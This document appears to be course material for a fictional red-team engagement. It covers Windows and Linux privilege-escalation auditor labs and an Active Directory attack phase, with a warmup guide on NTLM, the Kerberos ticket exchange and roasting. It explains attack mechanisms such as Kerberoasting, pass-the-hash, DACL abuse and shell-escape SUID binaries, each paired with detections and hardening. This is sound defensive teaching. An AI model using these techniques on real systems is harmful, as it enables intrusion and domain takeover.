- A correctly-configured clean host yields no findings; every finding has an ATT&CK id and a detection; output is deterministic and severity-sorted.
Run
pip install -r requirements.txt
LAB_MODULE=solution python3 -m pytest -q # reference passes (15 tests)
python3 -m pytest -q # your implementation after the TODOs
Hardening / detection (what each finding ships)
| Finding | Hardening | Detection telemetry |
|---|---|---|
| Unquoted service path | quote ImagePath; remove write on path dirs | Sysmon EID 1 child of services.exe from an odd dir; hunt unquoted ImagePath |
| Writable service binary | ACL the binary to admins; baseline hashes | Sysmon EID 11 overwrite of an ImagePath off-window |
| Weak service DACL | reset SDDL to admin-only sc sdshow/sdset | EID 7045/4697; registry write to the service ImagePath |
| Dangerous privilege | remove the privilege from the service account | EID 4673/4674 sensitive-privilege use; potato/named-pipe heuristics |
| Weak autorun ACL | ACL the Run key to admins | Sysmon EID 13 on Run/RunOnce; Autoruns baseline diff |
| Writable scheduled task | ACL the action target; principle of least privilege | EID 4698/4702; EID 11 write to a task action path |
Extensions (build in your own isolated range)
- Parse a real
Seatbelt/accesschkJSON export and resolve the effective DACL (owner + inherited ACEs), not a pre-labeledwritable_by. - Add DLL search-order hijacking (T1574.001): a writable dir on a service's DLL search path.
- Cross-reference held privileges with the running service account (IIS/MSSQL) to rank potato feasibility, and emit a Sigma rule per finding.
- Re-implement the analyzer's core in C# (the Windows offensive language) as a Seatbelt-style collector over WMI/registry on an owned host — read-only, no exploitation.
Interview / resume
"Built a Windows privilege-escalation path analyzer that ingests host enumeration (services, token privileges, registry autoruns, scheduled tasks, integrity level), reports each misconfiguration's ATT&CK technique and concrete path to SYSTEM, and pairs every finding with the Sysmon/Event-Log detection — encoding the principle that an offensive finding without its detection is half the value."
Limitations: a curated rule set over synthetic facts; "writable by principal X" is given, not resolved from a live effective-DACL; ignores patch level, WOW64 redirection, AppLocker/WDAC, and service triggers that change exploitability. Output is leads to verify on an owned range, not proof.
Lab 02 — Linux Local Privilege-Escalation Auditor
Operation Cedar Lattice, Phase 04. Your first Linux foothold on a Meridian Freight host is an
unprivileged user. The operator's next question mirrors the Windows one: what on this box turns "a
user" into root (uid 0)? This lab is the auditor that answers it from a synthetic
enumeration snapshot — the same facts LinPEAS, pspy, getcap -r /, and sudo -l surface — and,
for every finding, names the ATT&CK technique, the escalation note, and the detection
(an auditd rule idea).
Safety. Authorized-lab only. This is an auditor over host metadata: it reasons about enumeration output (
LinuxFacts), never a live host. It runs no GTFOBins one-liner, drops no payload, and escalates nothing. Every finding ends in its detection. Same boundary as the security track'soffensive-methodology-mastery/labs.
The problem
Linux local privesc is overwhelmingly abuse of legitimate mechanisms: a SUID binary that happens to have a shell escape, a file capability that is root by another name, a sudo rule that is too generous, a writable directory on root's PATH, a root cron whose script you can edit, or membership in a root-equivalent group. The skill is to read the host's privilege surface and see which legitimate feature has become a path to uid 0 — and to write the auditd rule that would have caught the abuse.
What you build (lab.py)
audit(facts) -> [findings], composed from focused helpers:
suid_findings(facts)— SUID/SGID root binaries whose basename matches a curated GTFOBins-style allowlist (find,vim,bash -p,python, …). T1548.001.capability_findings(facts)— file capabilities (getcap) that grant root:cap_setuid,cap_dac_override,cap_sys_admin,cap_sys_ptrace,cap_sys_module, … T1068 / T1548.001.sudo_findings(facts)— sudo misconfig:ALL, a GTFOBins-runnable binary, a*wildcard command (argument injection), andenv_keepkeepingLD_PRELOAD/LD_LIBRARY_PATH(a dynamic-linker hijack to root). T1548.003 / T1574.006, NOPASSWD noted.path_findings(facts)— a directory on root's PATH the user can write → command hijack. T1574.007.cron_findings(facts)— a root cron whose script the user can overwrite. T1053.003.group_findings(facts)— membership indocker/lxd/disk/shadow/sudo/wheel. T1611 / T1548.003.
Each Finding carries technique, escalation, and detection.
Attack cases the tests cover
- A GTFOBins SUID (
find) is flagged; benign SUID (passwd,mount) is not. cap_setuid+epon a binary is flagged;cap_net_raw(ping) is not.- Sudo
NOPASSWDGTFOBins, sudo*wildcard, sudoALL, and sudoenv_keep=LD_PRELOADeach detected. - Writable dir on root's PATH; only the user-writable root cron (not the read-only one); a
dangerous group (
docker). - A hardened clean host yields no findings; every finding has an ATT&CK id and an auditd detection; output is deterministic and severity-sorted.
Run
pip install -r requirements.txt
LAB_MODULE=solution python3 -m pytest -q # reference passes (16 tests)
python3 -m pytest -q # your implementation after the TODOs
Hardening / detection (what each finding ships)
| Finding | Hardening | Detection (auditd / tooling) |
|---|---|---|
| Dangerous SUID | remove the SUID bit; nosuid mounts; replace the binary | execve of a known-GTFOBins SUID by auid>=1000; ruid≠0/euid=0 child shell |
| Dangerous capability | drop the capability; baseline getcap -r / | watch the cap-bearing binary's execve; alert on new file caps |
| Sudo misconfig | exact-path commands, no shells/pagers, no *, no linker env_keep | -w /etc/sudoers -p wa; auth.log sudo of a shell/wildcard |
| Writable root PATH | remove group/world write from PATH dirs | -w <dir> -p wa; file-create/execve in an admin-only PATH dir |
| Writable cron | ACL the script to root; cron dirs root-only | -w /etc/cron* -w /var/spool/cron -p wa; pspy shows the periodic root job |
| Dangerous group | remove the membership; restrict docker/lxd | -w /etc/group -p wa; container creates bind-mounting host root |
Extensions (build in your own isolated range)
- Parse real
linpeas/getcap -r //sudo -loutput and resolve effective writability withstat/ACLs instead of a pre-labeled flag. - Add kernel-exploit surface scoring (uname/kernel vs a known-CVE table) and a namespace/cgroup
container-escape check (privileged container, host PID/
/proc,cap_sys_admin). - Expand the GTFOBins allowlist from the project's real data and emit a Sigma rule per finding.
- Re-implement the SUID/cap walk in Rust or Go as a read-only collector on an owned host.
Interview / resume
"Built a Linux privilege-escalation auditor that ingests enumeration (SUID/SGID, file capabilities, sudoers, root PATH, cron, group membership), maps each escalation path to its ATT&CK technique and a concrete root note, and pairs every finding with an auditd rule — turning offensive enumeration into a defensible, hardening-first deliverable."
Limitations: a curated GTFOBins-style sample (not the full project) over synthetic facts; exploitability on a real host depends on binary version, kernel, full sudoers parse, mount options, and SELinux/AppArmor confinement. Output is leads to verify on an owned range, not proof.
Phase 05 — Active Directory & Identity Attacks
Operation Cedar Lattice, Phase 05. Phases 03–04 landed a foothold on Meridian Freight International's internal network and escalated locally on the first Windows and Linux hosts. Now the campaign turns to the part of an enterprise breach that decides everything: Active Directory. AD is the identity perimeter — the single system that decides who every user, computer, and service is and what they may touch. Once an attacker stands inside it with even an unprivileged account, the fight is no longer about exploiting software bugs; it is about abusing the identity relationships the domain was built on. This phase takes you from a foothold user to Meridian's Domain Admins along an attack path you can draw, weigh, and — as a defender — cut.
The deliverable a real engagement produces here is not "we got DA." It is the attack-path graph from foothold to domain dominance, every Kerberos and DACL abuse on it mapped to ATT&CK and to the exact Windows event that detects it, and the prioritized identity-hardening roadmap — the artifact the purple team replays and the client keeps.
Safety. Authorized-lab only. Every lab in this phase is a graph-solver / exposure-analyzer / detection-mapper over synthetic directory metadata — a directory graph of users, groups, computers, ACLs, SPN lists, and delegation flags. There are no live AD attacks, no collection, no ticket requests, no cracking, and no weaponization. Every attack ends in its detection (Kerberos/Windows event ids) and its hardening. This is the same boundary as the security track's
offensive-methodology-mastery/labs.
Why this phase exists
Almost every published enterprise intrusion — and every Mandiant M-Trends year — runs through Active Directory. The reason is structural: AD is old, central, and trusting by default. It speaks Kerberos and NTLM, protocols designed when the network was the trust boundary; it stores access-control lists on every object that almost no one audits; and it supports delegation features that, misconfigured, let one machine act as anyone. An attacker who understands AD does not need a single CVE to go from a help-desk account to the entire forest — they need to read the graph of relationships and walk it.
This is also where the offensive and defensive jobs fuse. Every AD attack technique has a precise telemetry signature — a 4769 with RC4 encryption for a Kerberoast, a 4768 without pre-auth for an AS-REP roast, a 4662 with replication GUIDs for DCSync, a 5136 write for an RBCD takeover. A red teamer who cannot name the event the SOC should have alerted on has done half the job. The skill this phase trains is to walk the path and write the detection for every step of it.
Learning Objectives
By the end of this phase you can, without notes:
- Explain the AD object model — users, groups, computers, OUs, the schema, security descriptors (owner + DACL + ACEs), SIDs, and how a security principal's effective rights are computed.
- Contrast NTLM and Kerberos authentication and state precisely why Kerberos exists, what each protects, and where each still leaks.
- Walk the Kerberos ticket dance end to end —
AS-REQ → AS-REP → TGS-REQ → TGS-REP— naming every key involved (the user's key, the krbtgt key, each service's key) and what the PAC carries. - Explain Kerberoasting (T1558.003) and AS-REP roasting (T1558.004) from first principles — why an SPN or disabled pre-auth makes a reply crackable offline, and why RC4 vs AES decides the crack — and the detection and hardening for each.
- Distinguish the three delegations — unconstrained, constrained (S4U2Self/S4U2Proxy), and resource-based (RBCD) — and how each is abused and detected.
- Explain golden, silver, and diamond tickets — what key forges each, what privilege each grants, and the limited telemetry that catches them.
- Explain NTLM relay and authentication coercion (the PetitPotam idea) and pass-the-hash / pass-the-ticket — and the controls (SMB signing, EPA, Protected Users) that stop them.
- Read DACL attack edges —
GenericAll,WriteDacl,WriteOwner,ForceChangePassword,AddKeyCredentialLink— and the object-auditing events that detect their abuse. - Explain ADCS ESC1 (a certificate template that lets a low-priv user enroll a cert authenticating as anyone) and its issuance telemetry.
- Model AD as a BloodHound-style graph and compute the shortest/quietest attack path to Domain Admins, the reachable high-value targets, and the choke edges a defender must cut.
The two questions this phase answers
ATTACKER: from this owned, unprivileged account, what is the cheapest, quietest chain of
identity abuses that reaches Domain Admins? → Lab 01 (the graph)
DEFENDER: which accounts and objects are exposed (Kerberoastable, AS-REP-roastable, dangerously
delegated, dangerously ACL'd), how do I rank them, and what is the detection + fix?
→ Lab 02 (the facts)
The graph (Lab 01) and the facts (Lab 02) are two views of one directory: the exposures Lab 02 finds are the edges Lab 01 walks, and fixing an exposure removes an edge.
Concepts
| Concept | What it is | Why it matters to the engagement |
|---|---|---|
| AD object model & security descriptors | users/groups/computers/OUs + owner/DACL/ACEs/SIDs | the substrate every identity attack abuses |
| NTLM vs Kerberos | challenge-response vs ticket-based auth | sets up relay/PtH (NTLM) and roasting/tickets (Kerberos) |
| The Kerberos ticket dance | AS-REQ→AS-REP→TGS-REQ→TGS-REP + the keys + PAC | the mechanism behind roasting, tickets, and delegation |
| Kerberoasting (T1558.003) | request a TGS for an SPN, crack it offline | the most common first move; RC4 makes it cheap |
| AS-REP roasting (T1558.004) | request an AS-REP for a pre-auth-disabled account | a free offline-crackable hash with no foothold needed |
| Unconstrained / constrained / RBCD delegation | three ways one identity acts as another | each a path to impersonating a Domain Admin |
| Golden / silver / diamond tickets | forged TGTs/TGSs from a stolen key | total, durable, low-telemetry domain persistence |
| NTLM relay & coercion (PetitPotam) | force an auth, relay it elsewhere | turns a coerced DC auth into privilege |
| Pass-the-hash / pass-the-ticket | reuse stolen auth material | lateral movement without the plaintext password |
| DACL attack edges | GenericAll/WriteDacl/ForceChangePassword/… | the quiet ACL abuses BloodHound surfaces |
| ADCS ESC1 | a misconfigured cert template = auth as anyone | a fast path to DA that bypasses passwords |
| BloodHound graph model | nodes = principals, edges = abuses | the way attackers and defenders reason about AD |
| Detection pairing | every abuse → its Kerberos/Windows event | what makes the offensive knowledge a defensible asset |
Labs
| Lab | Builds | Lens |
|---|---|---|
| Lab 01 — AD Attack-Path Solver | model AD as a typed, weighted, directed graph; Dijkstra finds the quietest path from an owned principal to Domain Admins; rank reachable high-value targets; find the choke edges; label every step with its ATT&CK technique + detection | BloodHound graph model |
| Lab 02 — Kerberos / Identity Exposure Analyzer | read synthetic directory facts; flag Kerberoastable, AS-REP-roastable, unconstrained-delegation, RBCD-writable, and privileged-SPN accounts; rank RC4 + old-password highest; pair each with its detection + hardening | Kerberos exposures, account-by-account |
Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py,
adversarial test_lab.py, README.md, requirements.txt — pure Python 3 (stdlib + pytest), offline,
deterministic, with the detection pairing built in.
cd lab-01-ad-attack-path-solver
LAB_MODULE=solution pytest -q # reference passes (12 tests)
pytest -q # your implementation after the TODOs
cd ../lab-02-kerberos-exposure-analyzer
LAB_MODULE=solution pytest -q # reference passes (11 tests)
Deliverables
- An AD attack-path solver that models the directory as a typed, weighted graph, finds the cheapest/quietest path from an owned principal to Domain Admins, enumerates the reachable high-value targets, identifies the choke edges a defender cuts to break the most paths, and labels every step with its ATT&CK technique and the Windows/Kerberos event that detects it.
- A Kerberos/identity exposure analyzer that reads synthetic directory facts and produces a risk-ranked findings report — Kerberoastable (RC4 + old password ranked highest), AS-REP-roastable, unconstrained-delegation, RBCD-writable, and privileged-SPN accounts — each paired with its detection and mechanism-level hardening.
- The Operation Cedar Lattice Phase 05 artifact: the path graph from Meridian's foothold user to its Domain Admins, the exposure report behind it, and the identity-hardening roadmap (gMSA, AES-only, tiered admin, Protected Users, dangerous-ACL removal) with the detection for every surviving edge.
- The fluency to walk the Kerberos dance, the three delegations, the ticket forgeries, and the BloodHound model in an interview, and to name the detection and the fix for each.
Readings (primary sources)
- RFC 4120 — The Kerberos Network Authentication Service (V5) (the ticket dance, the keys, the
PAC concept); Microsoft's
[MS-PAC]and[MS-KILE]specifications. - SpecterOps research: the original Kerberoasting/AS-REP roasting writeups, An ACE Up the Sleeve (DACL attacks), and Certified Pre-Owned (ADCS ESC1–ESC8).
- BloodHound documentation — the node/edge model, the abuse info per edge, and Cypher.
- Microsoft docs on Kerberos, delegation (unconstrained/constrained/RBCD), Protected Users, gMSA, and the security audit events (4768, 4769, 4624, 4672, 4662, 4724, 4728, 5136, 4886/4887).
- MITRE ATT&CK: T1558 (Steal or Forge Kerberos Tickets) and sub-techniques, T1550 (Use Alternate Authentication Material — PtH/PtT), T1207 (Rogue Domain Controller / DCShadow), T1649 (Forge Authentication Certificates), T1098 (Account Manipulation).
- Windows Internals (Russinovich, Solomon, Ionescu) on tokens, SIDs, and the authentication stack.
Common Mistakes
- Treating AD as a list of permissions instead of a graph. The attack is the chain of edges, not any single right. If you cannot draw the path, you cannot cut it.
- Demonstrating a technique without its telemetry. A Kerberoast you cannot tie to 4769/RC4, or a DCSync you cannot tie to 4662/replication GUIDs, fails this track's detection-pairing bar.
- Confusing the three delegations. Unconstrained caches every TGT; constrained limits to named SPNs via S4U; RBCD is configured on the target — they are abused and detected differently.
- Calling UAC, group membership, or "we set a strong password" a fix for Kerberoasting. The fix is gMSA / AES-only / no SPN on privileged accounts, because the crack is offline and the only real defenses are key strength and key rotation you don't control with a human password.
- Thinking a golden ticket is loud. A forged TGT skips the AS exchange entirely — there is no 4768 — which is exactly why krbtgt rotation and behavioral detection matter more than a single event.
- Chasing leaf findings over choke edges. Removing one stale
GenericAllthat every path runs through beats remediating ten dead-end exposures. Prioritize the dominators. - Forgetting that RC4 is the tell. AES-only doesn't stop a request, but it makes the crack expensive and makes the 4769-etype-0x17 detection meaningful.
Interview Questions
- Walk me through the Kerberos ticket dance —
AS-REQtoTGS-REP— and name every key involved. Where does the krbtgt key sit, and why is it the keys to the kingdom? - Explain Kerberoasting from first principles. Why is the TGS reply crackable offline, why does any domain user get to ask for it, and why does RC4 vs AES matter? How do you detect and harden it?
- What is AS-REP roasting, and how is it different from Kerberoasting? What single account flag enables it, and what is the fix?
- Compare unconstrained, constrained, and resource-based delegation. How is each abused, and what makes unconstrained delegation on a non-DC so dangerous?
- What is a golden ticket vs a silver ticket vs a diamond ticket? What key forges each, what does each let you do, and why are they hard to detect?
- What is NTLM relay, and how does authentication coercion (PetitPotam-style) turn it into domain compromise? Which controls break it?
- Explain a DACL attack edge such as
GenericAllorForceChangePassword. What does BloodHound show, how would you abuse it, and which audit event detects the abuse? - You have a foothold user and a SharpHound graph. How do you find the path to Domain Admins, decide which is the quietest, and tell the client which single edge to cut first?
(Full principal-level answers are in WARMUP.md.)
Portfolio artifact
The Operation Cedar Lattice Phase 05 identity package: the attack-path graph from Meridian's
foothold user to its Domain Admins (Lab 01 output) with every edge labeled by ATT&CK technique and
detection; the risk-ranked exposure report behind it (Lab 02 output); and a one-page identity-
hardening roadmap — gMSA migration, AES-only, tiered admin, Protected Users, dangerous-ACL removal,
krbtgt rotation — with the detection for every surviving edge. All over synthetic directory metadata:
no live AD, no collection, no weaponization. This is part of 04-05-windows-ad/ in the
capstone portfolio.
Guides
- WARMUP.md — the from-zero, chapter-by-chapter deep dive: the AD object model and ACLs; NTLM vs Kerberos; the ticket dance under the hood; Kerberoasting and AS-REP roasting; the three delegations; golden/silver/diamond tickets; NTLM relay and coercion; DACL attack edges; ADCS ESC1; and the BloodHound graph model — each with its telemetry, detection, and misconceptions.
- HITCHHIKERS-GUIDE.md — how to run this safely on an owned, purpose-built GOAD-style forest: collect with SharpHound, find the path to DA in BloodHound, demonstrate a Kerberoast against a lab SPN, then harden (gMSA, AES-only, tiered admin, dangerous-ACL removal) and write the 4769-RC4 detection. Never a production domain.
Warmup Guide — Active Directory as the Enterprise Identity Perimeter
Zero-to-principal primer for Phase 05. It builds Active Directory's identity model from first principles so you can reason about why an unprivileged account so often reaches Domain Admins, and exactly what telemetry each step emits. We cover the AD object model and ACLs; NTLM vs Kerberos; the Kerberos ticket dance under the hood; Kerberoasting and AS-REP roasting; the three delegations; golden, silver, and diamond tickets; NTLM relay and authentication coercion; DACL attack edges; ADCS ESC1; and the BloodHound graph model. Every chapter ends in the telemetry, the detection, and the misconceptions. By the end you can walk a foothold-to-Domain-Admins path, name the Kerberos/Windows event for each abuse, and prescribe the mechanism-level fix.
Safety. Everything here is explained at the level of mechanism and detection. The labs reason over synthetic directory metadata only — no live AD, no collection, no ticket requests, no cracking, no weaponization. Practice the operator workflow only on an owned, purpose-built forest (see
HITCHHIKERS-GUIDE.md), never a production domain.
Table of Contents
- Chapter 1: Why Active Directory Is the Real Perimeter
- Chapter 2: The AD Object Model, Security Descriptors, and ACLs
- Chapter 3: Authentication — NTLM vs Kerberos
- Chapter 4: The Kerberos Ticket Dance Under the Hood
- Chapter 5: Kerberoasting (T1558.003)
- Chapter 6: AS-REP Roasting (T1558.004)
- Chapter 7: The Three Delegations and How Each Is Abused
- Chapter 8: Golden, Silver, and Diamond Tickets
- Chapter 9: NTLM Relay, Coercion, Pass-the-Hash, and Pass-the-Ticket
- Chapter 10: DACL Attack Edges and ADCS ESC1
- Chapter 11: The BloodHound Graph Model
- Lab Walkthrough
- Success Criteria
- Common Mistakes / OPSEC Failures
- Interview Q&A
- References
Chapter 1: Why Active Directory Is the Real Perimeter
Zero background. When a company has more than a handful of Windows computers, it stops managing each one separately and joins them to a domain: a central directory that knows every user, every computer, every group, and what each is allowed to do. That directory is Active Directory (AD), and the servers that host it are Domain Controllers (DCs). Logging in, accessing a file share, running a service — all of it is mediated by AD. AD is, in one phrase, the enterprise's identity system.
What it is. AD is a database (the NTDS.dit file on each DC) plus the protocols that let machines
query and authenticate against it: LDAP for reading and writing the directory, Kerberos and
NTLM for authentication, DNS for locating DCs, and SMB/RPC for the management calls. A
collection of domains that trust each other is a forest; the forest is the real security boundary
in AD.
Why it exists. Without a central directory, every server keeps its own account list and you manage N machines by hand. AD centralizes identity so a user has one account, one password, and one set of group memberships that grant access everywhere. That centralization is exactly what makes it the prize: compromise AD and you compromise every identity and every machine that trusts it. Most published enterprise breaches — and the bulk of every Mandiant M-Trends report — run through AD, because the attacker's goal (move laterally, escalate, persist) is precisely what AD is built to facilitate for legitimate admins.
Under the hood — the trust model. AD trusts by default, by design. A normal domain user can:
- Read most of the directory over LDAP — every user, group, computer, their attributes, group memberships, and the Service Principal Names (SPNs) and delegation settings that turn into attack edges. (This single fact powers reconnaissance: an unprivileged account can map the whole forest. It is what SharpHound collects.)
- Request Kerberos tickets for any service — which is what makes Kerberoasting (Chapter 5) possible from any account.
So the attacker's job is rarely "break a cryptographic protocol." It is "read the graph of who-can-do- what-to-whom, and find a chain of legitimate-looking abuses from where I am to Domain Admins."
Telemetry. AD is one of the most observable systems in the enterprise — if auditing is on. Each DC can log authentication (4768/4769/4776), logons on every host (4624/4625/4672), object access and changes (4662/5136/4670/4720-4738), and group changes (4728/4732/4756). The catch: by default much of this is not logged at the granularity needed (object auditing and PowerShell logging in particular must be turned on), so the absence of a detection is often a configuration gap, not the absence of the attack.
Significance. "Getting Domain Admin" is table stakes in this profession; the value is the narrative of the path, mapped to ATT&CK, with the detection the SOC missed at each step, and the identity-hardening that closes it. That is what the rest of this phase trains.
Misconceptions.
- "AD security is about patching." Mostly it is not. The dominant AD attacks abuse configuration and relationships (SPNs, delegation, ACLs), not memory-corruption bugs.
- "A normal user can't see much." A normal user can read almost the entire directory. Reconnaissance is nearly free; that is the design.
- "The domain is the boundary." The forest is the boundary. A DC compromise in any domain of a forest is a forest compromise.
Chapter 2: The AD Object Model, Security Descriptors, and ACLs
Zero background. Everything in AD is an object with a type (user, group, computer,
organizational unit, GPO, certificate template, …) and a set of attributes (a user has
sAMAccountName, memberOf, servicePrincipalName, userAccountControl, pwdLastSet, …). Objects
live in a tree of Organizational Units (OUs). The set of allowed object types and attributes is the
schema.
What a security principal is. Some objects can authenticate and be granted rights — users,
computers (every domain-joined machine has a computer account, named with a trailing $), and
security groups. These are security principals, each identified by a SID (a Security
Identifier, e.g. S-1-5-21-…-1106). Group membership is transitive: a user in Help Desk, which is in
IT Staff, which is in Server Operators, inherits all three groups' rights. That transitivity is the
first kind of attack edge (MemberOf).
What governs access — the security descriptor. Every object carries a security descriptor with four parts that matter here:
Security descriptor of an AD object
├── Owner SID — the owner can always rewrite the DACL (this is why WriteOwner is dangerous)
├── DACL (Discretionary Access Control List)
│ └── ACEs (Access Control Entries): "principal P is Allowed/Denied right R on this object"
│ e.g. Allow Help Desk -> Reset Password (becomes the ForceChangePassword edge)
│ Allow Support -> GenericAll (full control over the object)
│ Allow SvcGrp -> WriteProperty:SPN (lets you add an SPN -> targeted roast)
├── SACL — the *audit* list: which accesses generate 4662/5136 events
└── (rights are object-specific: extended rights like "Reset Password", "DS-Replication-Get-Changes")
Why this is the attack surface. Over decades, admins grant ACEs to make day-to-day work
convenient — "let the help desk reset passwords," "give this app team full control of these objects" —
and almost no one ever audits or removes them. The result is a dense web of GenericAll,
WriteDacl, WriteOwner, ForceChangePassword, and AddMember rights that are perfectly legitimate
individually but, chained, form a path from an unprivileged account to a privileged one. BloodHound
(Chapter 11) exists to surface exactly these chains.
Under the hood — how a right becomes an attack. Take ForceChangePassword: if your account has the
"Reset Password" extended right over svc_admin, you can set svc_admin's password to something you
know — without knowing the old one — and then authenticate as svc_admin. Or GenericWrite over a
user lets you add an SPN to it and then Kerberoast it (a targeted roast), or write its
msDS-KeyCredentialLink for shadow credentials (Chapter 10). The right is the door; the technique
is what you do once through it.
Telemetry. Object access and modification are logged by Directory Service auditing, if the object's SACL and the DC's audit policy are configured:
- 4662 — an operation was performed on an object (the workhorse for DACL-abuse and DCSync; the specific GUIDs in the event name the right used).
- 5136 — a directory object was modified (attribute writes: SPN added,
msDS-KeyCredentialLinkwritten, RBCD attribute set, owner changed). - 4670 — permissions on an object were changed (
WriteDacl/WriteOwnerfollow-through). - 4724/4738 — a password was reset by another account / an account was changed
(
ForceChangePassword). - 4728/4732/4756 — a member was added to a global/local/universal security group (
AddMember).
Detection. Set SACLs on high-value objects (privileged groups, the AdminSDHolder, service
accounts, the domain object) to generate 4662/5136; alert on writes to sensitive attributes
(servicePrincipalName, msDS-KeyCredentialLink, msDS-AllowedToActOnBehalfOfOtherIdentity,
nTSecurityDescriptor) from non-administrative principals; baseline group membership and alert on new
members of Tier-0 groups.
Significance. ACL hygiene is one of the highest-leverage defensive investments in AD and one of the least done. The choke-edge analysis in Lab 01 exists because removing one over-broad ACE often severs many attack paths at once.
Misconceptions.
- "Only admins can change directory objects." No — a misconfigured ACE can let any principal write a privileged object. The DACL, not the user's title, decides.
- "WriteOwner isn't a big deal, it's not GenericAll." The owner can always rewrite the DACL, so
WriteOwner→WriteDacl→GenericAll. They collapse into the same outcome.
Chapter 3: Authentication — NTLM vs Kerberos
Zero background. Before AD can decide what you may do, it must decide who you are. Windows has two domain authentication protocols: the old NTLM (challenge-response) and the modern Kerberos (ticket-based). Understanding both — and why Kerberos replaced NTLM but never fully removed it — is the foundation for every attack in this phase.
NTLM — what it is. NTLM proves you know a password without sending it, via a challenge-response:
NTLM challenge-response (simplified)
Client ----- NEGOTIATE -----> Server
Client <---- CHALLENGE (nonce) Server
Client ----- RESPONSE = f(NT_hash, nonce) -----> Server
Server ----- (if domain account) passes to a DC for verification (NETLOGON) -----> DC
The crucial fact: the response is computed from the NT hash of the password (MD4(UTF-16(password))),
not the plaintext. So if you steal the NT hash from memory (LSASS) or the SAM/NTDS database, you can
authenticate without ever knowing the password — this is pass-the-hash (Chapter 9). NTLM also has
no server authentication and no channel binding by default, which is why it can be relayed
(Chapter 9).
Kerberos — what it is and why it exists. Kerberos (RFC 4120) was designed to fix NTLM's structural problems: it provides mutual authentication, uses time-limited tickets instead of replaying a password-equivalent on every connection, and centralizes trust in the DC acting as a Key Distribution Center (KDC). Instead of proving your password to every server, you prove it once to the KDC, get a Ticket-Granting Ticket (TGT), and then exchange the TGT for per-service tickets. Chapter 4 walks the full dance.
Why NTLM still exists. Kerberos requires the client to locate the service by name (it needs an SPN to ask the KDC for a ticket) and needs DNS, time sync, and reachability to a DC. When any of that fails — accessing a server by IP address, a local account, a non-domain-joined host, certain legacy apps — Windows falls back to NTLM. Attackers love this fallback: it is how relay and coercion stay relevant in 2020s networks.
The attacker's view — which protocol enables which attack.
| Protocol | Material stolen/abused | Attacks it enables |
|---|---|---|
| NTLM | NT hash; the challenge-response itself | pass-the-hash (T1550.002); NTLM relay; coercion |
| Kerberos | TGS reply; AS-REP; TGT; service/krbtgt keys | Kerberoasting; AS-REP roasting; golden/silver/diamond tickets; delegation; PtT |
Telemetry.
- NTLM authentication is logged as 4776 (the DC validated the credentials) and 4624 logon type 3
on the target with
Authentication Package: NTLM. - Kerberos shows up as 4768 (a TGT was requested —
AS), 4769 (a service ticket was requested —TGS), and 4624 withAuthentication Package: Kerberos. - A telltale: NTLM where Kerberos was expected (e.g., admin tools hitting a server by IP) is worth alerting on; so is a sudden rise in NTLM in an otherwise Kerberos-first environment.
Detection / hardening. Reduce NTLM usage (audit with the "Restrict NTLM" policies, then block where possible); enforce SMB signing and LDAP channel binding / signing to stop relay; require Kerberos for management. The long-term direction is NTLM-disabled domains, which Microsoft is moving toward.
Significance. Almost every AD attack maps cleanly onto "which protocol, which stolen material." If you can place a technique on this axis, you can predict its telemetry and its control.
Misconceptions.
- "Kerberos is encrypted so it's safe." Kerberos has multiple offline-crackable artifacts (the TGS reply, the AS-REP) and forgeable keys (krbtgt). It is attackable by design choices, not broken.
- "We turned off NTLM." Most environments cannot, because of fallback cases; assume NTLM is reachable until proven otherwise.
Chapter 4: The Kerberos Ticket Dance Under the Hood
Zero background. Kerberos is a ticket system. You authenticate once to get a master ticket
(the TGT), then trade it for service tickets without re-entering your password. The DC plays
two roles inside the KDC: the Authentication Service (AS) issues TGTs, and the Ticket-Granting
Service (TGS) issues service tickets. Two keys you must hold in your head: the user's key (derived
from the user's password) and the krbtgt key (derived from the password of the special krbtgt
account, known only to the KDC).
The four messages.
AS-REQ ──────────────► ┌──────────────┐
Client │ KDC on DC │
AS-REP ◄────────────── │ (AS + TGS) │
(1,2) get a TGT └──────────────┘
TGS-REQ ──────────────►
Client
TGS-REP ◄──────────────
(3,4) get a service ticket for a named SPN
AP-REQ ──────────────► ┌──────────────┐
Client (present the service │ Service │
ticket to the service) └──────────────┘
(1) AS-REQ. The client asks the AS for a TGT. To prove identity before the KDC does any work, the client includes pre-authentication: a timestamp encrypted with the user's key. The KDC can decrypt it only with the user's key (which it derives from the stored password), so a valid pre-auth proves the client knows the password. (Disabling pre-auth is what makes AS-REP roasting possible — Chapter 6.)
(2) AS-REP. The KDC returns the TGT plus a session key. Crucially, the TGT is encrypted with the krbtgt key (so only the KDC can later read it), and the session-key blob the client needs is encrypted with the user's key. The TGT contains the user's identity and a PAC (Privilege Attribute Certificate) listing the user's SIDs and group memberships — this is how the rest of the system learns the user's privileges without re-querying AD.
(3) TGS-REQ. When the client wants to reach a service (say MSSQLSvc/db01), it sends the TGT back
to the TGS along with the SPN of the target service. The TGS validates the TGT (it can decrypt
it — it holds the krbtgt key) and issues a service ticket.
(4) TGS-REP. The KDC returns a service ticket (TGS) encrypted with the target service account's key (so the service can decrypt and trust it), plus a service session key for the client. (This is the artifact Kerberoasting cracks — Chapter 5: the TGS is encrypted with the service account's password-derived key, and the requester receives it.)
(AP-REQ). The client presents the service ticket to the service. The service decrypts it with its own key, reads the PAC, and grants access accordingly.
The keys, summarized.
| Key | Derived from | Protects | If stolen → |
|---|---|---|---|
| User's key | the user's password | AS-REP session blob; pre-auth | impersonate that user (PtT after AS) |
| Service account's key | the service account's password | the TGS (service ticket) | silver ticket (forge tickets to that service) |
| krbtgt key | the krbtgt account's password | every TGT in the domain | golden ticket (forge any TGT → be anyone) |
Why RC4 vs AES lives here. Each ticket is encrypted with an encryption type (etype). RC4
(etype 0x17) derives its key straight from the NT hash (MD4 of the password) — fast to brute-force.
AES (etype 0x12/0x11) derives the key with PBKDF2 (4096 iterations + salt) — far slower. Whether a
ticket comes back RC4 or AES is decided by the account's msDS-SupportedEncryptionTypes and the
client's request; an attacker will ask for RC4 to make any offline crack cheap.
The PAC is the privilege bundle inside the TGT/TGS. It is signed by the KDC. Forged tickets (golden)
must forge a valid PAC; the PAC validation improvements and the 2021–2022 PAC-signature hardening
(KB5008380 and the November 2021/2022 changes) exist precisely to make forged or mismatched PACs
detectable — relevant when you reason about why old golden-ticket forgeries now fail or get flagged.
Telemetry. 4768 = AS-REQ (a TGT was requested — note the Ticket Encryption Type and
Pre-Authentication Type); 4769 = TGS-REQ (a service ticket was requested — note the Service
Name (the SPN) and the Ticket Encryption Type, where 0x17 = RC4). These two events are the
backbone of nearly every Kerberos detection in this phase.
